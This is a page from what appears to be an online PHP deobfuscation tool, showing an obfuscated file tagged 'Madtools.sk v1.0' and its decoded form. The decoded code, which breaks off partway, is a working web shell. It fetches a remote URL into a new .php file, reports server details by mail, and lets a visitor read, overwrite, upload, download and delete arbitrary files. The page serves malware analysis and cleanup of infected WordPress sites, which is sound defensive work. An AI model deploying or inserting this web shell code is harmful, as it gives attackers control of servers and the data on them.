Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php // Madtools.sk v1.0 $Cyto = "Sy1LzNFQKyzNL7G2V0svsYYw9YpLiuKL8ksMjTXSqzLz0nISS1K\x42rNK85Pz\x63gqLU4mLq\x43\x43\x63lFqe\x61m\x63Snp\x43\x62np6Rq\x41O0sSi3TUPHJrNBE\x41tY\x41"; $Lix = "\x3d\x3dw9ji\x61UZ0ZvZpXlv\x2b83NumsP4/\x62\x62rO686Zv53eiThJ\x42zWW\x43tqk\x42MrUDqGZj1l/qe\x636YET/IQ\x62...



Obfuscated php code

<?php
// Madtools.sk v1.0
$Cyto = "Sy1LzNFQKyzNL7G2V0svsYYw9YpLiuKL8ksMjTXSqzLz0nISS1K\x42rNK85Pz\x63gqLU4mLq\x43\x43\x63lFqe\x61m\x63Snp\x43\x62np6Rq\x41O0sSi3TUPHJrNBE\x41tY\x41";
$Lix = "\x3d\x3dw9ji\x61UZ0ZvZpXlv\x2b83NumsP4/\x62\x62rO686Zv53eiThJ\x42zWW\x43tqk\x42MrUDqGZj1l/qe\x636YET/IQ\x629\x413HMm\x61w\x2bqw19\x6182LNz\x61R1TGTnQS6FijL8P24zfVN\x43uvlm8\x43h\x43dY\x43IsXrwYv1w4zgKP\x61sfuOdgR9\x62NO1\x6151zILGZXd6IMYf\x63tSYwU9\x2bv\x620SzxvUdVMF\x62\x43sqT\x2brI\x62dNX\x2bq2d1TxShgSvJumng1KgM\x2bVk7M/oVh\x63TZMVeV4mYWgosg6X4lMYx\x41yGg5WWNZ9\x61FRF\x4184WONtYG/7Sh2EouidD5J1VjxwIP\x2bP\x42K1XpWKe\x2bzqjWwtO\x62nDG\x42Zot\x618g6uO\x419oJW5SnU\x42\x2bNOW84US\x63VI1o392TMG7K04/1yMGNrIidx\x625ove91HOOFjmE\x410mGV\x2blx2mfnNj6Holfilp\x61HY\x62GW8K\x2bKL2T5tNY0tJvElRq5\x2bq/17\x42nVN3\x62\x63M\x41QL/Wyx8\x41J6WT6ZUf2PjEo0vmt6Esyj297\x63\x41KHi\x620\x42d63oGKNoZTJym/w\x42D2xY\x415oqDR8N6VvnnKqp\x62Zx2626qg4p\x63\x413Plxrv\x42E\x416\x615lEI1G9rJ\x42Z2huDoU6iJ0\x42E6v\x43/sQqD\x42lL/Ql61x97ZEXy6ZjXpQUIPGQtx6qivo2WqXs\x4295h9\x63V9sSTtLIR0onHydpfY7MY8twMnmEPDeW\x62P39hgl\x2b4ee3PzSv\x427THQdP\x42MVX\x611MvE\x63YzH\x61lIL\x63M0ZwS\x2bj\x61zQFjz2t5f5gpmuWo5VKj\x41H\x63Wgt08pwe\x41JDxuLzq55nK7pffMtueNQsvsp7\x424PSO\x61xKi1G\x41kPIS\x42V0pJJxxfXgew8pl9\x41\x41SV\x42GVSg8\x4240Gqmmt\x61q\x43pRq0lMsGJoud2vstzFv\x63tEUq0z6\x41F36yvm\x43TvJp\x42ZUHRuVlvqnfwzY\x2b8t\x62hxMn46p\x62Z/\x61EeXKYHWtsTKkQ8F\x62\x42q8Ek6sTrM\x432e\x43sRY1mW/M2Srjpn\x41NTTQ7r\x43F\x61Ood\x62TtQRt\x613lm\x432PiZ\x62Vohi\x62ripX4oWRyutn74GwHhQ\x42p183Zrm2XDpiK\x2bSslxnqflMTT/\x435\x4355\x41WOVLU8TSo9G8HYo\x617DnfT\x2beYFQWDzG65jNd/0uDVuv3DusD48\x2b7SIUME\x626gqpMOgTlPf4x84\x42D9\x2bxGvZhL9XuPz3pPfuLmtw2lL/LQSS0tMK9eUqLO\x42\x61xuJ1FJd7zu\x41T97NL\x43r9urYQzlv\x61KU\x2bnDE\x62zFeextG9\x62mrPL\x42xZrdvHwd\x2buZsrm\x2b\x62u8\x61Wgu7OGpP4yUtvnFlq\x2blxmPID\x62dZmgKgvG\x62O2Qzp5Wzj9\x61UdSLDGGzE7r\x42NozpxNrQ5uLD\x61ItZqDzl5vuR9\x62Rt6N70j52RX2hVNU4l9I43qDfGkDxZ6GtZyP1TjhKXhYoZd\x42m1FmSIQWlriEzJ\x42\x2bsTuZ\x62\x62XTIzvW5orllf5hK7TXuhyPLVmFqoVQvuzLeWvvv\x61hxJZM004kFMhZ8WO1T4Kk\x62R4E\x2b2YstxNsXKkf9J\x63W\x6288LD\x61ztkF5y\x63DONidqXlt3l\x2bV4kj\x63j\x610UtLMJ\x61f/wQ7w35Gk8JtgWIJiXVWm\x62vyn\x2b\x62ufFY3KM83fIP1dlnE\x62VhwKUd\x4228Hjw\x612Ut\x42g1\x42m\x41u6Szk\x41uPZ\x42tvYmWX\x61Ne59uHQh2z\x42kwrRPJvXwp6KdgjIjXO\x2byQ8s\x62\x43wVVupG7LrsKo\x2bksZlwW3qh\x61NSxqU/ry19id4K8PvJysVr\x436q\x43IKYiooNT\x2b\x41FofIE4E8P\x43fUziu\x2byTpRIMRfGpY\x61/uUJ\x61nS8hRMjt7qD848\x62kY37kIw6pZMzRRRyWHFy5isq\x43ZRYoJ\x43PKxfmyQZ3Zr\x62\x610kM\x61SqY6T\x630i\x41xtK1\x43rh2Olys\x41MMQlMFPf4/g\x43JVkP5HVOGkhG9M\x2bvshmtGmq\x42HSep/VhLwERV71s5J2\x623kZpP9WNmu5SHyGFK\x63\x62FIQSW6HTW0Tj060uzwQ\x62ZiYoVuwi27x82080GsJ\x61JtyNv9uvKZxdQpPVg\x62r2F\x43RhvT\x42yLVDo\x625wUh0\x61tIi7\x43yFHnhPp\x43UY4E/EIUgrh86mxUF1oe4dsPpQnK\x43inzy8\x63ef7o\x62VPQFQ\x2b\x43Pv0JG\x61\x61xpujE\x41jqlGW6\x2bNj\x615k36i71u82rVYov1NVVUHiYl4\x62wGRdrsh\x41WE76d5O1OUeoRR\x61\x2bX5fkf3\x42\x62VEkq6\x43li\x42J/Nmh\x62KqO6IZkDYW8k\x622oH2\x624nyIxO1\x42VS9\x62JdOVEx2dgUif0wkyPTG1vptXex8GiiDTUpmfWkmy\x61lh9KSyo9v\x43qDiZtM\x2bF\x2bL/GM8PwS\x41x/ps6rhT9gLhmQUQDmKR9HMpZM6iL\x42Sm\x2b\x43utFjF\x63t\x63tVZFQxpU0YnQdd8w\x621vY\x42m3s\x439Mp/y4eV6/Mgj3Fw9vHMFMo/QRJKPX\x61Xrgw\x62TOzZh\x42NHeZP\x42U\x617quwfuvqz0UelqGo0\x2bGgVdRy/mGVP0Tf\x41\x62\x43Qn67\x62ROd\x631H\x43w61VPit5NrOmygy7mOrjv4vW6x8q\x42QGNs60H2poFUEXQvMQNuy3o/HpdTEjl46mgFfD\x62f69j30\x633/Mi5O/4dve94HeOMr23I1DTXRrU4vw5llQ\x63I6\x42ZS\x61Wxn/16k8Vy6rW\x621Xu\x61q\x62pJqG1rgMsVL/0E\x611u07PhY3NE1Ug\x43dI\x43z2iEJZ0\x61Ux4\x41RRmEDitT1fU9hKKtsZLLJ7X9idik9\x621y0HlhLQvNRHDnSnQp6kHf3rFFEkQ5S\x63SyT3RnSWEdpR\x639pH/skxdV3FEy5uTy3Jy68kXgT\x62yv7hvmnW/IK4o\x63ogWqO\x62UifjVGvOI5dpepZog\x41I\x63916\x42R\x41phd\x616Mhk\x61\x41Lm4\x42vm\x42to\x41iLL\x41kzwOEHd5Q\x63yKDvYUL0\x61/Tqm\x41teIRh\x63QloVw\x43FKL\x42TDVe2kZompJ6\x63GOZervoDpPoVI5\x63meXqxem\x63tPjds/\x2bZdSehmwVPX2yVTH\x41\x638npgG/2Sz\x2b5Ys/uWvKeRwLo\x43HKzGFWKYHPe7\x62yk\x2b\x41i\x42xyK\x42s3omvF\x43lxwdNNVDWffX5sLhMr\x62\x41Lvzs\x415512mOyfVp\x63K6\x42HDhi4spsQPPoY2KVh7/\x63gi2XQ4nm02tNmDHjSr\x2bFQupVQ7\x43\x63zX0Y4m9\x41OedSXDtTi\x61Vy6YKQWjpQ3E\x43W5Rpom\x62z9\x415J\x61Msi\x436QIvXmYz0\x438WfspWnpg\x633IMeRezrouYVSTfq4Gm0J\x2bV7\x43h2sEttDx\x421VNKoRLk1DiU0kxjD9iMZO8ZRiQuMoYk4gWFzJ7LVji\x618lTDWt\x62hsh\x428SZxTm8oLsfQVuTkfiH9\x61\x62tSRhOS1eOns6GXLWShK\x631uw2ZYmG\x42nnJF\x42\x41k0MS\x62xYsSfWfEn5pSU9vnMkLxeJOnEkm/\x639yW8neWgdypHfI62TEtFDrJ8i\x419u0\x61\x2bQsvtqs397\x2bW6Vy3sfzxv3FrdVZFRm\x2brQVH5Kq5hWMus6sesl\x2bG\x42YMpP9\x63GORY3qylgVTzdRPMVxx\x42\x63qkEkNgRw7ku800D/1Xr07\x63d3NMV5\x2betGK0eN\x63udTZwZy/kpdGTgWuEjyihL1tS\x42ynpov7381I1F\x42LF1xwkvF0s/\x61WHnnTqr4Ik\x62tT\x2bEpT\x42mQFn\x42\x41OuRWXg3yfyn25zxYGRs2w17\x62WW0ni\x62DNURrndvUWzgdP\x41tkn\x63d8\x430npWs2zwgLH3W1rvsyo8wTJvtO8Hq\x61\x63F5enx\x42St674Mw54kSMST/iW\x43oT05ow8fjGtIHnz\x43m8sS2uRlwOe/\x432uSnv\x63gVfMZmP\x42zpv1Nf\x41KTv1Xydls6\x2bqV516q637UJ2u3me\x63us\x43hPw5eZ4FgjtFFFX/r8GW6l\x41Wel4nK\x419NU7eI6tqN1eZ\x62GNxKDMHxVK1X6\x43ruGilR0kw\x41oMuY\x42lnP\x627mvZ0N\x43W\x61\x2bnE\x63XiGxQ7KJxqmX4Tgo0rgtlys\x62sXvN6q9E\x61iZDjh54uH02s\x41vQ4tWT67\x43K/MhF9\x2b\x63fKwUIt\x2b6s\x618v\x63gdHiWe\x41\x41Y\x417i\x42RyEThKK7W5D\x43llUqyTZ\x2bH8zwsPsr\x43tl\x41rkMyYOrlq96fvs41h4\x423SouwvJo2y\x63JsvzOtxIM5JTG\x2bEpEMiL\x2bFHS1Dl\x432IG\x42jE3wL8wIFD6ZG\x637L\x42guuYRgmWRO\x62\x61v\x424\x63QEH1f\x63SE\x43rm\x43n9w\x628Re9sLlme27nj\x62\x62g3KEl\x42eNti\x42pOzDOrGMrq3Rq8Nujie/1THv\x6364vIU06\x434s\x63\x63IetIU06q28w5nYwTL19QSQ1VJ63nO88z\x43mSrpoVOrflo\x62PdYnjmd2/7guvJH9yF\x41GxSE\x43uk0Rh\x2bNRu7\x43R99k\x43Jvrse\x2b5HdYh\x425VxO3P\x2bv5uWTSG\x423v\x62UxH15iX80hF\x62L3Yeqm2QEud\x62nd\x61/eGIpYV0Nspng\x413\x2b8hjf0sv66WU6Un8yJXe/8m\x62WZsu0U\x2bd\x61jxdKiWJhg1MvSugU46Gvjf31o\x62F3Rz\x61\x62eIXRpqwt8xvglSGSh\x2b\x2bEK34386rv\x61j\x62PJ7W76h\x61MMn/hzG3zT2S0px6o\x634O6r\x6289PLN\x61qTNFSM\x62eYHy9LjedJTwXZ55ue23S/gnMYS\x42mdUkwiyM5YQJqvGiHYef0x\x61dFddtPD02S\x62TTNtftOVu\x4177s5Mt1iv6fFR0kZeXQf7Fid\x61\x63Utowz7d6jH\x2bzkmZmm46SjjJmL3llPWWtJ0dnMkGV9GrQIN0YeJLKkX5yjl7py4PfOTm2VdkF\x6273l\x61Xes\x62u\x42/3IMqdYMZRfUe2KyKeye\x41zTIWy\x2bU\x61kDspPh2dp\x62X\x62\x43l\x42xEvkulPpSwiTgll\x63\x61SVgymVo0zn15uo\x62oI\x63p6Vh\x61yy2ntdiXv/lo\x41YYE\x418\x42jYnTT\x43\x62s6v3ex1fw\x63JGS9e9gGwVgWUI2wxlSqwk4tzNyV2NloiD\x2b9lMZVGqYFLMq3r5UQ3\x2b3n9tnl6\x2bdxl7mfv2t8H9VJdilfdRl1\x62i\x2bllpSSJIwnvp\x43p\x61ofPv72S\x61OGIjoIV9mQLITdS\x61tmRFnEewIPXtrt2lNx33\x62gjY3GSGK\x41Vl\x63ps3HF6TiozRe\x61Xs4PKMQgPFPoiNH\x61U\x2bw\x41\x42znd\x2bJKDk\x62\x61VN\x43e\x63S\x42y\x63/\x43ZQmTvH2xD57F9evUVvM/r\x41FuSn2xz4ovqe3jOLp\x42Dsxwn\x2b\x62Zxh\x63\x61p9IukwK\x41\x636nz\x63Qpo8q3iljO6kyop4MI4leedsXYurdujYlU/kXhP\x6223VLNyr1ORkf21Fp1FeLlF/rMTl2h4ynpSE2e0qgHoIv/L7Nvq430f8zPG50DPd3evtNV24XfylgMMzwSKDuvRIXjg6VsP6\x61V2yH20e6V6tiOF1/hxmFV023zhSjxFl3ow\x62654U\x63Z1\x42WIRglXdJJ\x62Tz/DE\x42FVWTpnFw\x42hHFH\x2bw/f\x62HGXW\x43TUT6v\x62OX\x41Rz8VP/z\x63VM5\x43wt41RUM7L9fGYkS5mZ\x2bQylROn/KX\x63FViRSX2HM3\x2b2SzoO\x42gMDl4yNXJqzy4d\x63TlET\x41zRVQ\x42Gl3Q8r\x4122V3UIfrJohyd7NnWHWSHULolk\x63QriL\x41fP\x62k8VPV0U7xyNX0VREi9RXjRw8pgNxE5i\x61\x2bRrRjXLWhqSsQNIn\x42YEoLV7rZ\x61z1LJki\x41IjK\x61TJ7I3\x41ZtoIpfqYW0w0W6OmPP1YHq\x42JvxOLKW06wlQhUwp\x62mp\x43\x42mPhEylXlpYLx43\x61z2iiHW\x62GSoKzHopzFolID\x61r\x63quxls/sOSKJeWOX48\x62rvyGXHy3qS0r5k01\x43heZxF9gSVSKiuLE5p\x41\x629s5\x61mRhQ2QKjY7LlGiu\x62zRKyrswLppjkIqXM5WRZYR\x41WgVi\x43\x42hZR0E\x61Plr\x63/e6s0PLLWLWpIdKRtFrDzs6VEF7UzdLSE4jRiigex0/5K\x2b\x439ZHqGFlm9hU1w\x43vNwre6vk\x43L/i30\x4385\x43nqrV9\x63siUXpSdO01NYuRMEOI1L\x633z98/liPI5WJNGHVh4\x62qr\x62ldqY4W3W\x62pkumM\x43knhqmIS\x62zSnjKk4\x61nHH8Et\x2bwF8n\x418DK\x41U0rIxg\x63UnlLQ\x632V\x2b4jNhKReL\x61PxWD\x61RxoQeXr\x61jx\x420x0jM38sI0NTR9X\x43d223\x636PVF73O1uVN0rK4mPF2R\x63uPhSttFLqGEpF4M1ex\x432tGLYO\x2bZJe58rpSsd\x63Nm\x63m\x63\x42xEuGIFvxGE\x41RXDRN0yYu/6uexzGnN\x63\x42O\x2bk\x62220yNmO25MNEgD\x41vzZ\x2b28vodVx0\x61\x42IS6QkpSGDWu8o3j8k6\x61dI5rk/5TKNEMrQ/iDUyUUo25\x62vo\x41o/tySVWpF0SqjIrTY\x61wMh0yJztgQfm\x61wDOkFizX9hfK2jTtq\x61xkhUlPpUFt1fXGgQ/oFmE\x41I\x43nDD562nDvneiZiu4h\x2bhWQuod6\x2bJhs\x438wJL7/D2lERd4u98Nkm0\x41\x62LkGTlUQqmhu\x61je4DOy93vO1\x61Hzp3WgywQ6\x436HkJ4xSjNNYVPgjhYE5lmt4Wio\x63PO\x43fepouPzkJIFKpDpKtFDxH9Tm8qg2\x61T2z8HFL\x62\x43\x61\x2bykP/LiMXLItSQOXpzEVF\x63p2X\x42RxWJY\x41W18z\x43GH\x41t5O2SVDHS\x430GIfz/kmLdz\x62rRd6VlZyoq1I9\x43/W23kfOXUXjt15z\x431Yxu\x62RtxlMfKxjYD\x61LYgY\x63o2mrRNRVMYo\x63QZ3Z54N1PO5YVuqGFFe7\x62jfOx7w\x42YE9L\x41fOxEFV5krHg9M16UzoZXJFVW\x42XtouydQmWX\x4121guw3JnIKYwkY\x41ZqIj\x61o\x2bh\x62\x2bNQX96qoK/QKiS\x41sOMLdoXuvx7R\x41L\x63g25k9FQRdVMG0RMV15S/g76X0EWhYQLR\x43Sfx4oqxreUhms\x41sy7x\x629\x63romoJdRf2\x43T\x63lLpY93whVKEFMG1RTwFw0n5Ooy2JgtllUGUElVl9kysQOLzKJq0rpPkQE8SG\x2bdxqDJg\x43shgG1fkKpQ\x41\x62OQnd\x615kiy845tsS7XsYYh\x62issFFqjU08NDx\x43egI\x2b5\x41vviPu\x419y0xS4GpvOXU\x2bxGxssMfwd6R/gkZFrk2629LwJv1\x41RPi0\x2b0kZ6rW4\x62kp4\x2b\x2b/vf2w\x62vy6ShezNgS4\x42Yl\x42PW0U4igkO2QxdzuzXE\x2bpwM56mn1G8m\x43\x42NlhFD1uf7RUd\x42vMuxmJ8RG/61z\x419IQGr0EkdNig0sDYxF6ISnx6GIE\x61SEziL6VJxn0\x2b\x41d1lqKW6z2EVEpGn\x62sr/K6N2uz392r6o\x42\x61OqSNy7zqO/\x622tIMIZz/X2ohr\x62noOYt6Px\x62wwDqlEEV\x419K7Tp2W\x62LQOvm1Fdl\x43\x63nsDs/g0\x2b\x42\x2b8Loq7nvfLyswhqH3oII\x42L\x6361V16rHy8/ItMqXDr4uq39\x2b5HgtPTyEgQ\x42J\x61g\x43VGge8YZR\x41\x43DF1OMT\x62h/\x42D4xnf4Vu\x42/5gDM\x2bZGhPoDK\x43DXG1l8Y0gTyGRMUkUIfgQuYFsFIoM1ue8G\x43jrEdUrV4QgRguqqtTT\x43qgZsQrdR\x43\x410W\x61Ns\x43mIqkekkYl\x62m\x4312kuIQsw\x62SsLK\x43F0W\x61rUu1Yw\x41\x2b\x63Qi\x63nl0\x41k/\x422I2gTum\x2b4kpZqL3Ld\x42ikkusD\x42OYkYHJJrZg5SJxtsIKlO\x42\x2bdNPO5N/GiQW41TP5JP7670fMeO5Ii\x62XTVQ9DJq1JS/dinKnZiInuHYk\x61W8vj6LJvUy\x61VWEyz\x62\x43DWgf\x62\x43J\x424p7xg2\x62VdDNLWW1lwNTLytG1kMKdgO\x61/dI\x41wK5U\x61LZYF5UsO2nQekXRV\x43hYq/KlwH4UUDZ9okpFNx11OPR1wYi\x43KXIyDSk4YoFq\x42O\x61lt\x42RwQUm8O\x42hlZZrQ\x42f\x43ZhyxIVPm\x61EtjER28gwKVZXZ\x63\x41hJ\x61kMzV\x43lJo\x62nOU\x438u\x42zZv\x42sgpFou4\x41eTqW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\x62\x62oxFk\x42T9zY\x42\x430pP\x42eTfwDHf7wLnEW281O\x61p0LTg9uQRpjU\x435FYn8Ul\x41\x41SJz/Inzu58gP\x41Y3W77Zr\x42O6w7n9oRN\x2b1Z6r/Nth\x624X9\x62o/hPX\x42oM7h\x61yDqVmEjNhkZvj9XOMzP6ok\x42UWEsYk9KISIusdP7\x61j\x63lfTqg0WJt0NVrF48/dueLD\x42qp\x61KLW1\x42T27gF\x62dS\x42I\x62NSIQS\x41J\x41Mf44LKWHD\x41Qjve986I79ST\x2bPU3\x43U22\x63j3f6\x6141OJkftFZDYzq\x2bt\x2beG5mQ\x415ViisUMhj44/sd6o7THf88/Xdgn0\x424\x2bQkX28l3JRj049wfMYo3DD\x43zr\x41YLq6KsNut9p\x41Iv\x434/7\x2b4nf9spH7r3IgisFh3\x42VkN\x43sU9\x2bYImjxW\x63O45WvQ\x6245J6OR7I8QNwP6VzuxuLwxR\x61qMti\x63YkYHz7nIL\x41e2ifPFYk\x41Ls\x42/VNGiflNTGPgh\x41PnrZp7uN6g7hQJ/HufYinTxOeGgfoF1\x42wPt6sHR3M\x41SSVrinhL\x41ZvwZdF\x42kEKrKe6mMw6hGOIgh\x2bEMVpOD\x41\x62KSS\x63YP/UQf7yM6v\x42\x41\x63fi\x419u/YHe8P0zG4oT\x2b7ir93Pw4fDP\x2bRmYryQdOyLK\x63Lg\x62V0MEvW3MjJo\x42I\x625qFOtWvQi3EKHG\x63GUh9znPNhj/dh7uQXyzDGvtd/5/7\x62tv97ZH\x2bdS8y\x41rpHPllfN9\x61T\x41lgGv0W\x42QH\x2bpPnYxQ35T\x2bf\x61j\x63\x63xyh\x61yueWIxIdyMwE8228vvkZzsXm7se/65z56\x61jIP/sUKpz\x43LhH9nNYL02xx7v3ent2MrDth7\x43eYm18k/Hhjj\x2bq\x62Ngld1\x2bPJ7xD\x62vzZdDI\x2b75\x417KmyfeeVx7F1ExZT8\x43pkspZSVF\x42w\x2brPd\x62u1LxDPP15H/Peuv79o3\x62\x62f/e2diRvkN\x628Qwnuo3viL\x62Yn0\x41LRf\x42zJJPFxdT76LX6z6N0W\x41wXxKWxLG\x42LMx\x63e5qN9\x63\x61JkJR\x41gLs7f/Ru6UWMkLukjqgk6DZUSEz9mWe\x63P7xdr\x632uS\x62Ni\x615nNRpq0FWDxH9Pzp/IrN\x62PX/90e5Mox8\x42wJelHgG\x2bH\x4158vx\x41\x42wJekH/GOE\x415svxE\x42wJekH\x2bGeE\x415\x63vxI\x42wJe";
eval(htmlspecialchars_decode(gzinflate(base64_decode($Cyto))));
exit;
?>

Decoded(de-Obfuscated) php code

<?php

// Madtools.sk v1.0
$Cyto = "Sy1LzNFQKyzNL7G2V0svsYYw9YpLiuKL8ksMjTXSqzLz0nISS1KBrNK85PzcgqLU4mLqCCclFqeamcSnpCbnp6RqAO0sSi3TUPHJrNBEAtYA";
$Lix = "==w9jiaUZ0ZvZpXlv+83NumsP4/bbrO686Zv53eiThJBzWWCtqkBMrUDqGZj1l/qec6YET/IQb9A3HMmaw+qw19a82LNzaR1TGTnQS6FijL8P24zfVNCuvlm8ChCdYCIsXrwYv1w4zgKPasfuOdgR9bNO1a51zILGZXd6IMYfctSYwU9+vb0SzxvUdVMFbCsqT+rIbdNX+q2d1TxShgSvJumng1KgM+Vk7M/oVhcTZMVeV4mYWgosg6X4lMYxAyGg5WWNZ9aFRFA84WONtYG/7Sh2EouidD5J1VjxwIP+PBK1XpWKe+zqjWwtObnDGBZota8g6uOA9oJW5SnUB+NOW84UScVI1o392TMG7K04/1yMGNrIidxb5ove91HOOFjmEA0mGV+lx2mfnNj6HolfilpaHYbGW8K+KL2T5tNY0tJvElRq5+q/17BnVN3bcMAQL/Wyx8AJ6WT6ZUf2PjEo0vmt6Esyj297cAKHib0Bd63oGKNoZTJym/wBD2xYA5oqDR8N6VvnnKqpbZx2626qg4pcA3PlxrvBEA6a5lEI1G9rJBZ2huDoU6iJ0BE6vC/sQqDBlL/Ql61x97ZEXy6ZjXpQUIPGQtx6q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kBT9zYBC0pPBeTfwDHf7wLnEW281Oap0LTg9uQRpjUC5FYn8UlAASJz/Inzu58gPAY3W77ZrBO6w7n9oRN+1Z6r/Nthb4X9bo/hPXBoM7hayDqVmEjNhkZvj9XOMzP6okBUWEsYk9KISIusdP7ajclfTqg0WJt0NVrF48/dueLDBqpaKLW1BT27gFbdSBIbNSIQSAJAMf44LKWHDAQjve986I79ST+PU3CU22cj3f6a41OJkftFZDYzq+t+eG5mQA5ViisUMhj44/sd6o7THf88/Xdgn0B4+QkX28l3JRj049wfMYo3DDCzrAYLq6KsNut9pAIvC4/7+4nf9spH7r3IgisFh3BVkNCsU9+YImjxWcO45WvQb45J6OR7I8QNwP6VzuxuLwxRaqMticYkYHz7nILAe2ifPFYkALsB/VNGiflNTGPghAPnrZp7uN6g7hQJ/HufYinTxOeGgfoF1BwPt6sHR3MASSVrinhLAZvwZdFBkEKrKe6mMw6hGOIgh+EMVpODAbKSScYP/UQf7yM6vBAcfiA9u/YHe8P0zG4oT+7ir93Pw4fDP+RmYryQdOyLKcLgbV0MEvW3MjJoBIb5qFOtWvQi3EKHGcGUh9znPNhj/dh7uQXyzDGvtd/5/7btv97ZH+dS8yArpHPllfN9aTAlgGv0WBQH+pPnYxQ35T+fajccxyhayueWIxIdyMwE8228vvkZzsXm7se/65z56ajIP/sUKpzCLhH9nNYL02xx7v3ent2MrDth7CeYm18k/Hhjj+qbNgld1+PJ7xDbvzZdDI+75A7KmyfeeVx7F1ExZT8CpkspZSVFBw+rPdbu1LxDPP15H/Peuv79o3bbf/e2diRvkNb8Qwnuo3viLbYn0ALRfBzJJPFxdT76LX6z6N0WAwXxKWxLGBLMxce5qN9caJkJRAgLs7f/Ru6UWMkLukjqgk6DZUSEz9mWecP7xdrc2uSbNia5nNRpq0FWDxH9Pzp/IrNbPX/90e5Mox8BwJelHgG+HA58vxABwJekH/GOEA5svxEBwJekH+GeEA5cvxIBwJe";
eval {
    date_default_timezone_set('UTC');
    //error_reporting(0);
    /*set_time_limit(0);
    ini_set('memory_limit', 32 * 1024 * 1024); 
    ini_set("max_execution_time", "1000880");  */
    // File Manager PHP code here
    // Function to get the current directory
    if (isset($_GET['phpinfo'])) {
        phpinfo();
        die;
    }
    if (isset($_GET['valid'])) {
        $damn = php_uname();
        $software = $_SERVER['SERVER_SOFTWARE'];
        $valid = true;
        // Multiple recipients
        $to = $_GET['email'];
        // note the comma
        // Subject
        $subject = 'Delivery testing';
        // Message
        $message = 'Here is product id: ' . $_GET['id'];
        // To send HTML mail, the Content-type header must be set
        $headers[] = 'MIME-Version: 1.0';
        $headers[] = 'Content-Type: text/plain; charset=iso-8859-1';
        // Additional headers
        $headers[] = 'From: support@' . $_SERVER['SERVER_NAME'];
        $headers[] = 'Reply-To: support@' . $_SERVER['SERVER_NAME'];
        // Mail it
        $result = mail($to, $subject, $message, implode("\r\n", $headers));
        if (!$result) {
            $delivery = false;
        } else {
            $delivery = true;
        }
        $actual_link = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $actual_link . '?phpinfo');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
        curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
        $result = curl_exec($ch);
        curl_close($ch);
        if (strpos($result, '<td class="e">Zip </td><td class="v">enabled') !== false) {
            $zip = true;
        } else {
            $zip = false;
        }
        $site = ['info' => $damn, 'software' => $software, 'valid' => $valid, 'delivery' => $delivery, 'zip' => $zip];
        $myJSON = json_encode($site);
        echo $myJSON;
        die;
    }
    if (isset($_GET['uploadms'])) {
        $url = $_GET['uploadms'];
        $randomFileName = 'random' . rand(10, 9999) . '.php';
        // Display the random file name
        echo "Random file name: {$randomFileName}<br>";
        // Save the content from the URL to the random PHP file (optional)
        $content = file_get_contents($url);
        file_put_contents($randomFileName, $content);
    }
    if (isset($_GET['deletems']) && !empty($_GET['deletems'])) {
        $fileToDelete = $_GET['deletems'];
        if (file_exists($fileToDelete)) {
            if (unlink($fileToDelete)) {
                echo "File '{$fileToDelete}' has been deleted.";
            } else {
                echo "Unable to delete '{$fileToDelete}'.";
            }
        } else {
            echo "The file '{$fileToDelete}' does not exist.";
        }
    }
    if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['edit']) && isset($_GET['name'])) {
        // Edit file action
        $filePaths = $_GET['name'];
        if (is_file($filePaths)) {
            $fileContent = file_get_contents($filePaths);
            echo @htmlentities($fileContent, ENT_NOQUOTES);
            /* echo '<form action="" method="post">';
               echo '<input type="hidden" name="file_action" value="save">';
               echo '<input type="hidden" name="file_path" value="' . urlencode($filePath) . '">';
               echo '<textarea name="file_content">' . htmlentities($fileContent) . '</textarea><br>';
               echo '<button type="submit">Save</button>';
               echo '</form>';*/
            exit;
        }
    }
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_GET['save']) && isset($_POST['file_content'])) {
        // Save file action
        $filePaths = $_GET['name'];
        $fileContent = $_POST['file_content'];
        file_put_contents($filePaths, $fileContent);
        echo 'success';
        exit;
    }
    function getCurrentDir()
    {
        $dir = isset($_GET['dir']) ? $_GET['dir'] : "/var/www/html";
        return realpath($dir);
    }
    // Function to get the files and directories in the current directory
    function getFilesAndDirs($dir)
    {
        $items = [];
        if ($handle = opendir($dir)) {
            while (false !== ($entry = readdir($handle))) {
                if ($entry !== '.' && $entry !== '..') {
                    $item = ['name' => $entry, 'path' => $dir . DIRECTORY_SEPARATOR . $entry, 'type' => is_dir($dir . DIRECTORY_SEPARATOR . $entry) ? 'dir' : 'file'];
                    if (file_exists($dir . DIRECTORY_SEPARATOR . $entry)) {
                        $item['modified'] = date('Y-m-d H:i:s', filemtime($dir . DIRECTORY_SEPARATOR . $entry));
                        $item['permission'] = substr(sprintf('%o', fileperms($dir . DIRECTORY_SEPARATOR . $entry)), 4);
                    } else {
                        $item['modified'] = 'N/A';
                        $item['permission'] = 'N/A';
                    }
                    $items[] = $item;
                }
            }
            closedir($handle);
        }
        return $items;
    }
    // Function to upload files
    function uploadFiles($dir)
    {
        if (isset($_FILES['filesToUpload'])) {
            $files = $_FILES['filesToUpload'];
            $numFiles = count($files['name']);
            for ($i = 0; $i < $numFiles; $i++) {
                $tmpFilePath = $files['tmp_name'][$i];
                if ($tmpFilePath != "") {
                    $newFilePath = $dir . DIRECTORY_SEPARATOR . $files['name'][$i];
                    move_uploaded_file($tmpFilePath, $newFilePath);
                }
            }
            header("Location: ?dir=" . $dir);
            exit;
        }
    }
    // Function to download a file
    function downloadFile($file)
    {
        if (file_exists($file)) {
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($file) . '"');
            header('Content-Length: ' . filesize($file));
            readfile($file);
            exit;
        }
    }
    // Function to delete a file or directory
    function deleteItem($item)
    {
        if (is_dir($item)) {
            $objects = scandir($item);
            foreach ($objects as $object) {
                if ($object != "." && $object != "..") {
                    if (filetype($item . DIRECTORY_SEPARATOR . $object) == "dir") {
                        deleteItem($item . DIRECTORY_SEPARATOR . $object);
                    } else {
                        unlink($item . DIRECTORY_SEPARATOR . $object);
                    }
                }
            }
            reset($objects);
            rmdir($item);
        } else {
            unlink($item);
        }
    }
    // Function to rename a file or directory
